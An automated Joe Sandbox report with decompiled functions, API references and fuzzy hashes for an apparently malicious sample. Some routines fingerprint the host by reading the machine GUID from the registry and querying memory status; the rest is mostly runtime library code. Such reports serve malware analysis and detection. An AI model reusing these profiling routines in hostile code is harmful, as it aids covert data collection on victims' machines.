				_t11 = RegOpenKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Cryptography", 0, 0x20119,  &_v8); // executed
				_t14 = RegQueryValueExW(_v8,  *0x40e278, 0,  &_v16, _t19,  &_v12); // executed
				if(_t11 != 0 || _t14 != 0) {
					RegCloseKey(_v8);
				}
				return _t19;
			}

0x0040a616
0x0040a61b
0x0040a634
0x0040a63b
0x0040a659
0x0040a65d
0x0040a666
0x0040a666
0x0040a671

APIs

RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?), ref: 0040A63B
RegQueryValueExW.KERNEL32(?,00000000,00000001,00000000,00000104), ref: 0040A659
RegCloseKey.ADVAPI32(?), ref: 0040A666

Strings

SOFTWARE\Microsoft\Cryptography, xrefs: 0040A62A

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: SOFTWARE\Microsoft\Cryptography
API String ID: 3677997916-1514646153
Opcode ID: 1233372230aca0e7df5d087625ad0dd89436495b9e8128ba46b7d0fdcd860ef1
Instruction ID: b7295adda02a32b73446885dd9b7f16e439bc7fa4040cb3c3f6055cefdfb8544
Opcode Fuzzy Hash: 1233372230aca0e7df5d087625ad0dd89436495b9e8128ba46b7d0fdcd860ef1
Instruction Fuzzy Hash: F2F0F4B6A00214BBEB148BA5ED46FDE7BB8EB84700F040075FB00F22D0C6B09E14CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0041FAB0 Relevance: 6.3, APIs: 4, Instructions: 326COMMON

Download Yara Rule

APIs

__nh_malloc_dbg.LIBCMTD ref: 0041FB3B

Part of subcall function 00415840: __calloc_dbg_impl.LIBCMTD ref: 00415867
Part of subcall function 00415840: __errno.LIBCMTD ref: 0041587E
Part of subcall function 00415840: __errno.LIBCMTD ref: 00415887

__nh_malloc_dbg.LIBCMTD ref: 0041FC67

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __errno__nh_malloc_dbg$__calloc_dbg_impl
String ID:
API String ID: 2503616996-0
Opcode ID: 778e38bc6efd97f1c7f924d20f97de91371a753f1577105e6e19857a5e9c0ec2
Instruction ID: 917154f0986699b353dad1ef751c0d4a147727080a5085d724b1d19719880e11
Opcode Fuzzy Hash: 778e38bc6efd97f1c7f924d20f97de91371a753f1577105e6e19857a5e9c0ec2
Instruction Fuzzy Hash: A4E11C74E04248CFDB24CFA4D894BADFBB1BB49314F24826ED8666B392D7349846CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0040A503 Relevance: 5.0, APIs: 4, Instructions: 38
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040A503(WCHAR* __ecx, WCHAR* __edx) {
				WCHAR* _v8;
				void* __ebx;
				void* __esi;
				int _t7;
				void* _t10;
				WCHAR* _t16;
				void* _t32;

				_push(__ecx);
				_t16 = __edx;
				_v8 = __ecx;
				_t7 = lstrlenW(__edx);
				_t3 = lstrlenW(_v8) + 0x80; // 0x80
				_t10 = LocalAlloc(0x40, _t3 + _t7 + _t3 + _t7); // executed
				_t32 = _t10;
				E0040185F(_t32, _t28, _v8);
				E0040188C(_t16, _t32, _t28, _t32, _t16);
				GlobalFree(_v8); // executed
				return _t32;
			}

0x0040a506
0x0040a510
0x0040a513
0x0040a516
0x0040a525
0x0040a533
0x0040a538
0x0040a53e
0x0040a548
0x0040a550
0x0040a55c

APIs

lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
LocalAlloc.KERNEL32(00000040,00000000,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A533
GlobalFree.KERNEL32(?), ref: 0040A550

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: lstrlen$AllocFreeGlobalLocal
String ID:
API String ID: 3873415381-0
Opcode ID: 7439b9250609968e6e63ff34dd066d63b489fcc9440e39b785881af818bd08f0
Instruction ID: a16c6b1f1c1aff7e88faa53ff7a807ce8724a9faba81c89562836050573d755b
Opcode Fuzzy Hash: 7439b9250609968e6e63ff34dd066d63b489fcc9440e39b785881af818bd08f0
Instruction Fuzzy Hash: DCF02472700014FFCB04A79A9D45DAEF7AEEFC4340B144076E900F3321DAB09E018AA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041556A Relevance: 4.6, APIs: 3, Instructions: 142COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004156F9
_memset.LIBCMT ref: 00415716
_memset.LIBCMT ref: 00415731

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 69410c4095798773577b1bc710edf945ef39628d419657129ea33efc134ce160
Instruction ID: 23e798914de5c24cc93c4aaee41f7ebc1c487050272a37944d5bfb3b0d472494
Opcode Fuzzy Hash: 69410c4095798773577b1bc710edf945ef39628d419657129ea33efc134ce160
Instruction Fuzzy Hash: 7551FCB4A01204DFCB18CF45D995BDA77F1BB88315F24816AE9156B391D335EE80CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3E4 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 50
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040A3E4(intOrPtr __ecx, intOrPtr* __edx, signed int _a4, signed int _a8) {
				intOrPtr _v8;
				intOrPtr* _v12;
				void* _t18;
				void _t25;
				void* _t26;
				intOrPtr* _t27;
				intOrPtr _t29;
				signed int _t31;
				void* _t33;
				void* _t34;
				signed int _t35;
				void* _t37;
				void* _t39;

				_t27 = __edx;
				_v12 = __edx;
				_v8 = __ecx;
				_t18 = LocalAlloc(0x40, 0x80 +  *((intOrPtr*)( *0x40e08c))(__ecx, _t34, _t37, _t26, __ecx, __ecx) * 2); // executed
				_t31 = _a4;
				_t39 = _t18;
				_t35 = _a8;
				if(_t31 < _t35) {
					_t29 = _v8;
					_t33 = _t39;
					do {
						_t25 =  *((intOrPtr*)(_t29 + _t31 * 2));
						_t31 = _t31 + 1;
						 *_t33 = _t25;
						_t33 = _t33 + 2;
					} while (_t31 < _t35);
					_t27 = _v12;
				}
				 *((short*)(_t39 + 2 + _t35 * 2)) = 0;
				 *_t27 =  *((intOrPtr*)( *0x40e13c))( *_t27, _t39);
				if(_t39 != 0) {
					LocalFree(_t39);
				}
				return 1;
			}

0x0040a3f6
0x0040a3fa
0x0040a3fd
0x0040a40c
0x0040a40e
0x0040a411
0x0040a413
0x0040a418
0x0040a41a
0x0040a41d
0x0040a41f
0x0040a41f
0x0040a423
0x0040a424
0x0040a427
0x0040a42a
0x0040a42e
0x0040a42e
0x0040a436
0x0040a442
0x0040a446
0x0040a449
0x0040a449
0x0040a456

APIs

LocalAlloc.KERNEL32(00000040,00000000,?,0040870A,00000000,00000000,?,?,?,?,?,?,004079E3), ref: 0040A40C
LocalFree.KERNEL32(00000000,?,0040870A,00000000,00000000,?,?,?,?,?,?,004079E3), ref: 0040A449

Strings

y@, xrefs: 0040A434

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: Local$AllocFree
String ID: y@
API String ID: 2012307162-1812993971
Opcode ID: ccb5b4be9ee1bd7769a826cb499616f7c5e28c2612ab748d711503cbdb706c51
Instruction ID: f3cb8fed4fc86e8926e4ae745f77bd99f1ad2e4c346b1d96af304dd36abb34b3
Opcode Fuzzy Hash: ccb5b4be9ee1bd7769a826cb499616f7c5e28c2612ab748d711503cbdb706c51
Instruction Fuzzy Hash: 8501D475610224AFDB15CF99DC80DAE77F9EF8C720B10856AE905E7310E770AD11CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040942A Relevance: 4.5, APIs: 3, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040942A(intOrPtr* _a4) {
				struct _MEMORYSTATUSEX _v68;
				signed int _t10;
				void* _t26;
				void* _t27;
				int _t29;
				intOrPtr* _t30;

				_t10 =  *0x40e02c;
				_t29 = 0x40;
				_v68.dwLength = _t29;
				GlobalMemoryStatusEx( &_v68); // executed
				if(_t10 != 0) {
					_t27 =  *((intOrPtr*)( *0x40e044))(_t29, 0x400, _t26);
					wsprintfW(_t27,  *0x40e290, (_v68.ullAvailPhys << 0x00000020 | _v68.ullTotalPhys) >> 0x14, _v68.ullAvailPhys >> 0x14);
					_t30 = _a4;
					 *_t30 = E0040A503( *_t30, _t27);
					LocalFree(_t27);
					return 1;
				}
				return _t10 | 0xffffffff;
			}

0x00409430
0x0040943b
0x0040943d
0x00409440
0x00409444
0x0040945c
0x00409471
0x00409477
0x00409487
0x00409489
0x00000000
0x00409492
0x00000000

APIs

GlobalMemoryStatusEx.KERNEL32(?,74715850,?,?,?,?,?,?,?,?,?,00409A7D,00000000,00000000,00000000,00000000), ref: 00409440
wsprintfW.USER32 ref: 00409471
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00409A7D,00000000), ref: 00409489

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeGlobalLocalMemoryStatuswsprintf
String ID:
API String ID: 2569036613-0
Opcode ID: 64e85a53e754cb8c1d035c480df7db8858dd6127a9db0cbe0f38b20b7d924fe7
Instruction ID: 691c7a2968302921ddf9a2c3bc51e1d1d0e2bb0df5734c172083d1d357432de7
Opcode Fuzzy Hash: 64e85a53e754cb8c1d035c480df7db8858dd6127a9db0cbe0f38b20b7d924fe7
Instruction Fuzzy Hash: 6501D671A00114ABD700DF6AEC04E6FBBB9EB84324B00453DF616F7291D6749912C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 0040A4C2 Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 28
memoryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040A4C2(char* __ecx) {
				short* _t7;
				int _t11;
				char* _t14;
				short* _t16;

				_t14 = __ecx;
				_t11 =  *((intOrPtr*)( *0x40e198))(__ecx);
				_t7 = LocalAlloc(0x40, 0x10 + _t11 * 2); // executed
				_t16 = _t7;
				MultiByteToWideChar(0xfde9, 0, _t14, 0xffffffff, _t16, _t11);
				_t16[_t11] = 0;
				return _t16;
			}

0x0040a4ca
0x0040a4d5
0x0040a4e1
0x0040a4e4
0x0040a4f1
0x0040a4f9
0x0040a502

APIs

LocalAlloc.KERNEL32(00000040,?,?,?,00000000,00407793), ref: 0040A4E1
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,76426c3f362f5a47a469f0e9d8bc3eef,000000FF,00000000,00000000,?,?,?,00000000,00407793), ref: 0040A4F1

Strings

76426c3f362f5a47a469f0e9d8bc3eef, xrefs: 0040A4CC, 0040A4E9

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: AllocByteCharLocalMultiWide
String ID: 76426c3f362f5a47a469f0e9d8bc3eef
API String ID: 3282395022-820280900
Opcode ID: 620967e8831f66a80d015b3e32f1d5a571271f4666585bf4ea6a08314ec2853b
Instruction ID: 821f2f2a5b45e58665a0b52f3e5465d9484d76db546a2d81d506fa24111d9f92
Opcode Fuzzy Hash: 620967e8831f66a80d015b3e32f1d5a571271f4666585bf4ea6a08314ec2853b
Instruction Fuzzy Hash: 88E0D8713001207FE21057AA9C84FA76AE8DBC9770F140536F318E72B0D9B01C1083B5

Uniqueness

Uniqueness Score: -1.00%

Function 0041536F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

QQ, xrefs: 00415369

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: f473cefecd5df86fe97d96c8c56a9dbe05cfdfb6797da776bccff34878467c9c
Instruction ID: 35e6eb4f20574c1da3e2a9a82b2d582b64595e55fb0d9e4c6343fd8c0ced53de
Opcode Fuzzy Hash: f473cefecd5df86fe97d96c8c56a9dbe05cfdfb6797da776bccff34878467c9c
Instruction Fuzzy Hash: 880119B5A0150DEBDB04CF54D940BEF73B4AB88384F10855AFC298B340D3B8EA91DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00424366 Relevance: 3.0, APIs: 2, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

___crtExitProcess.LIBCMTD ref: 00424375

Part of subcall function 0041D740: ___crtCorExitProcess.LIBCMTD ref: 0041D749

RtlAllocateHeap.NTDLL(0045F044,00000000,00000001), ref: 004243A8

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: ExitProcess___crt$AllocateHeap
String ID:
API String ID: 215841669-0
Opcode ID: fd577c789abfe75a794f6c840ab4e926d32faf681ac1f8a682a6a37b6ce83210
Instruction ID: c68fea34626bc608a6216b9c412624a9537ea85e6661c0bdf65d2760b835db09
Opcode Fuzzy Hash: fd577c789abfe75a794f6c840ab4e926d32faf681ac1f8a682a6a37b6ce83210
Instruction Fuzzy Hash: 7BE09274B00214ABDB14DF90F84A7AE3720EB80309F04413AEE060A292E2799985C78B

Uniqueness

Uniqueness Score: -1.00%

Function 00408619 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 16
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00408619(void* __ecx) {
				WCHAR* _v8;
				void* __ebx;
				void* __esi;
				void* _t8;
				int _t9;
				void* _t12;
				void* _t23;
				void* _t37;
				void* _t39;
				void* _t41;

				_t8 = LocalAlloc(0x40, 0xff78); // executed
				L1(); // executed
				L1(); // executed
				_t23 = _t8;
				_t39 = _t37;
				_push(_t23);
				_push(_t39);
				_t18 = L"\r\n\r\n";
				_v8 = _t23;
				_t9 = lstrlenW(L"\r\n\r\n");
				_t3 = lstrlenW(_v8) + 0x80; // 0x80
				_t35 = _t3 + _t9;
				_t12 = LocalAlloc(0x40, _t3 + _t9 + _t3 + _t9); // executed
				_t41 = _t12;
				E0040185F(_t41, _t35, _v8);
				E0040188C(L"\r\n\r\n", _t41, _t35, _t41, _t18);
				GlobalFree(_v8); // executed
				return _t41;
			}

0x00408628
0x0040862e
0x0040863a
0x00408644
0x00408646
0x0040a506
0x0040a508
0x0040a510
0x0040a513
0x0040a516
0x0040a525
0x0040a52b
0x0040a533
0x0040a538
0x0040a53e
0x0040a548
0x0040a550
0x0040a55c

APIs

LocalAlloc.KERNEL32(00000040,0000FF78,00000000,00407870), ref: 00408628

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: LocalAlloc.KERNEL32(00000040,00000000,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A533
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

Strings

, xrefs: 0040863F

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: AllocLocallstrlen$FreeGlobal
String ID:
API String ID: 937752025-2344752452
Opcode ID: bc3759315248a3d9f8ef3571398d1fb34b5d9d99f7b2929ac23ffadec65b976f
Instruction ID: d28f653e51836c90490366c206293b127019c736856f4bca57a512f3e5c56564
Opcode Fuzzy Hash: bc3759315248a3d9f8ef3571398d1fb34b5d9d99f7b2929ac23ffadec65b976f
Instruction Fuzzy Hash: 03D0A720F4831067CF14BAB54C15F2E22929B84320B20883A6205BF3C4CABCDC1183CD

Uniqueness

Uniqueness Score: -1.00%

Function 00590E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,00590223,?,?), ref: 00590E19
SetErrorMode.KERNEL32(00000000,?,?,00590223,?,?), ref: 00590E1E

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 2dbcecf0c0626295ca98ca82eb20a54c631a5170114456e30b6737547de97a18
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 94D0123514512877DB002A94DC09BCD7F1CDF05B62F008411FB0DD9080C770994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0040A16F Relevance: 2.6, APIs: 2, Instructions: 64
memoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E0040A16F(void* __ecx, void* __edx, intOrPtr* _a8) {
				intOrPtr _v8;
				intOrPtr _t12;
				short _t13;
				void* _t16;
				signed int _t17;
				void* _t18;
				signed int _t24;
				void* _t25;
				void* _t26;
				void* _t29;
				signed int _t34;
				signed int _t36;
				void* _t37;
				void* _t40;
				void* _t41;
				signed short* _t43;
				intOrPtr* _t44;

				_t26 = __edx;
				_t12 =  *((intOrPtr*)( *0x40e18c))(__ecx, __edx, _t37, _t25, __ecx);
				_v8 = _t12;
				if(_t12 == 0) {
					_t13 = 0;
				} else {
					_t16 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(__ecx, _t41) + _t14); // executed
					_t40 = _t16;
					_t17 =  *((intOrPtr*)( *0x40e08c))(_t26);
					_t36 = 0;
					_t43 = _v8 + _t17 * 2;
					_t34 =  *_t43 & 0x0000ffff;
					_t18 = 0x22;
					if(_t34 != _t18) {
						_t24 = 0;
						_t29 = 0x22;
						do {
							_t36 = _t36 + 1;
							 *(_t24 + _t40) = _t34;
							_t24 = _t36 + _t36;
							_t34 =  *(_t24 + _t43) & 0x0000ffff;
						} while (_t34 != _t29);
					}
					_t44 = _a8;
					 *((short*)(_t40 + _t36 * 2)) = 0;
					 *_t44 =  *((intOrPtr*)( *0x40e13c))( *_t44, _t40); // executed
					LocalFree(_t40); // executed
					_t13 = 1;
				}
				return _t13;
			}

0x0040a17a
0x0040a180
0x0040a182
0x0040a187
0x0040a1f8
0x0040a189
0x0040a19e
0x0040a1a6
0x0040a1a9
0x0040a1ae
0x0040a1b2
0x0040a1b5
0x0040a1b8
0x0040a1be
0x0040a1c2
0x0040a1c4
0x0040a1c5
0x0040a1c5
0x0040a1c6
0x0040a1ca
0x0040a1cd
0x0040a1d1
0x0040a1c5
0x0040a1d6
0x0040a1dc
0x0040a1ea
0x0040a1ec
0x0040a1f4
0x0040a1f5
0x0040a1fd

APIs

LocalAlloc.KERNEL32(00000040,00000000,?,00401D77,?,?), ref: 0040A19E
LocalFree.KERNELBASE(00000000,?,00401D77,?,?), ref: 0040A1EC

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: Local$AllocFree
String ID:
API String ID: 2012307162-0
Opcode ID: a4121b4af304f9e425f871450021feb797f2bc1189384325bfc8c16f67230c56
Instruction ID: 58c5dcfe122550f1dd4d580a845b1fe98dc3c348f2ec0a40c79b731157ff0f5b
Opcode Fuzzy Hash: a4121b4af304f9e425f871450021feb797f2bc1189384325bfc8c16f67230c56
Instruction Fuzzy Hash: E811E572210111AFE704DFAADD8097AB3FDEF89710B50483AE581EB2A0EAB49C118725

Uniqueness

Uniqueness Score: -1.00%

Function 0041FB24 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__nh_malloc_dbg.LIBCMTD ref: 0041FB3B

Part of subcall function 00415840: __calloc_dbg_impl.LIBCMTD ref: 00415867
Part of subcall function 00415840: __errno.LIBCMTD ref: 0041587E
Part of subcall function 00415840: __errno.LIBCMTD ref: 00415887

__nh_malloc_dbg.LIBCMTD ref: 0041FC67

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __errno__nh_malloc_dbg$__calloc_dbg_impl
String ID:
API String ID: 2503616996-0
Opcode ID: 4038e884bfdae926c20c9a15fb021c6f46d336c8b207d7308693c02cbaf8b1c3
Instruction ID: 85d9ec527e6cbaaf126460574926a2b9f3ef66150f98be4b475bbf6d45bffd36
Opcode Fuzzy Hash: 4038e884bfdae926c20c9a15fb021c6f46d336c8b207d7308693c02cbaf8b1c3
Instruction Fuzzy Hash: 34E0D871E48704DAD7309A559C027987720E740734F60432FE535261C1D67914068E19

Uniqueness

Uniqueness Score: -1.00%

Function 0041B700 Relevance: 1.5, APIs: 1, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 0041B707

Part of subcall function 0041B630: __crt_wait_module_handle.LIBCMTD ref: 0041B67C
Part of subcall function 0041B630: RtlEncodePointer.NTDLL(?), ref: 0041B6B7

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: EncodePointer__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 2010845264-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: e1cb89af54fb0291e7bf1286e9e6485c2d4d8aea64d1d4d7b257b16ee444ded5
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: 69A0127244430C23D00020833807B02350C83D0638F080021F50C051422842A45540D7

Uniqueness

Uniqueness Score: -1.00%

Function 00413410 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 00413415

Part of subcall function 00413430: _check_managed_app.LIBCMTD ref: 004134AC
Part of subcall function 00413430: __heap_init.LIBCMTD ref: 004134B6
Part of subcall function 00413430: _fast_error_exit.LIBCMTD ref: 004134C4
Part of subcall function 00413430: __mtinit.LIBCMTD ref: 004134CC
Part of subcall function 00413430: _fast_error_exit.LIBCMTD ref: 004134D7
Part of subcall function 00413430: __RTC_Initialize.LIBCMTD ref: 004134E9
Part of subcall function 00413430: __amsg_exit.LIBCMTD ref: 00413500
Part of subcall function 00413430: ___crtGetEnvironmentStringsA.LIBCMTD ref: 00413513
Part of subcall function 00413430: ___setargv.LIBCMTD ref: 0041351D
Part of subcall function 00413430: __amsg_exit.LIBCMTD ref: 00413528
Part of subcall function 00413430: __setenvp.LIBCMTD ref: 00413530
Part of subcall function 00413430: __amsg_exit.LIBCMTD ref: 0041353B
Part of subcall function 00413430: __cinit.LIBCMTD ref: 00413545
Part of subcall function 00413430: __amsg_exit.LIBCMTD ref: 0041355A
Part of subcall function 00413430: __wincmdln.LIBCMTD ref: 00413562

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __amsg_exit$_fast_error_exit$EnvironmentInitializeStrings___crt___security_init_cookie___setargv__cinit__heap_init__mtinit__setenvp__wincmdln_check_managed_app
String ID:
API String ID: 529411476-0
Opcode ID: 45f551d739f39a4670a7d44ae8a496925fb138a71fc8cac8b44441fd73265ad2
Instruction ID: 23dc5b0091ebacf0523ce2f5ffb20dfc56603b355b79bbbadf5d9a9dcab6b5c7
Opcode Fuzzy Hash: 45f551d739f39a4670a7d44ae8a496925fb138a71fc8cac8b44441fd73265ad2
Instruction Fuzzy Hash: 6EA022320002FC02000233E33003A8A320C08C032C3C8000BB00C030030C0CA8C080BE

Uniqueness

Uniqueness Score: -1.00%

Function 00590920 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 00590929

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 8d14ae05a9dad9c05cb957789c0d7b66081069df36a9c1cd08e0a696cbd40e96
Instruction ID: 30d7a66bfda154b9128336625e3198fa971fb7c00ac6e6305f959e87c74458a5
Opcode Fuzzy Hash: 8d14ae05a9dad9c05cb957789c0d7b66081069df36a9c1cd08e0a696cbd40e96
Instruction Fuzzy Hash: 919002A034415112D920259C0C01B0500011791634F304710B131BA2D4D84096004115

Uniqueness

Uniqueness Score: -1.00%

Function 00408FA5 Relevance: 1.3, APIs: 1, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E00408FA5(void* __ecx) {
				void* _v8;
				void* _v12;
				char _v604;
				intOrPtr* _t19;
				void* _t20;
				intOrPtr* _t34;
				intOrPtr* _t36;
				intOrPtr* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t44;
				intOrPtr* _t48;
				void* _t52;
				void* _t53;

				_t19 =  *0x40e190; // 0x748cb690
				_t53 = 0;
				_v8 = 0;
				_t20 =  *_t19(0x40c030, 0, 1, 0x40c010,  &_v8); // executed
				if(_t20 < 0) {
					L3:
					return 0;
				}
				_t40 = _v8;
				_push( &_v12);
				_v12 = 0;
				_push(0x40c020);
				_push(_t40);
				if( *((intOrPtr*)( *_t40))() >= 0) {
					_t41 = _v12;
					_push(0);
					_push(_t41);
					if( *((intOrPtr*)( *_t41 + 0x14))() >= 0) {
						_t52 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
						if(_t52 == 0) {
							goto L3;
						}
						_t48 = _v8;
						_push(0);
						_push( &_v604);
						_push(0x104);
						_push(_t52);
						_push(_t48); // executed
						if( *((intOrPtr*)( *_t48 + 0xc))() >= 0) {
							_t53 = _t52;
						} else {
							LocalFree(_t52);
						}
						_t43 = _v12;
						 *((intOrPtr*)( *_t43 + 8))(_t43);
						_t44 = _v8;
						 *((intOrPtr*)( *_t44 + 8))(_t44);
						return _t53;
					}
					_t34 = _v12;
					 *((intOrPtr*)( *_t34 + 8))(_t34);
				}
				_t36 = _v8;
				 *((intOrPtr*)( *_t36 + 8))(_t36);
				goto L3;
			}

0x00408fae
0x00408fb7
0x00408fbc
0x00408fcd
0x00408fd1
0x00408ff4
0x00000000
0x00408ff4
0x00408fd3
0x00408fd9
0x00408fda
0x00408fdd
0x00408fe4
0x00408fe9
0x00408ffa
0x00408ffd
0x00408fff
0x00409007
0x00409022
0x00409026
0x00000000
0x00000000
0x00409028
0x00409031
0x00409032
0x00409033
0x0040903a
0x0040903b
0x00409041
0x0040904c
0x00409043
0x00409044
0x00409044
0x0040904e
0x00409054
0x00409057
0x0040905d
0x00000000
0x00409060
0x00409009
0x0040900f
0x0040900f
0x00408feb
0x00408ff1
0x00000000

APIs

LocalFree.KERNEL32(00000000), ref: 00409044

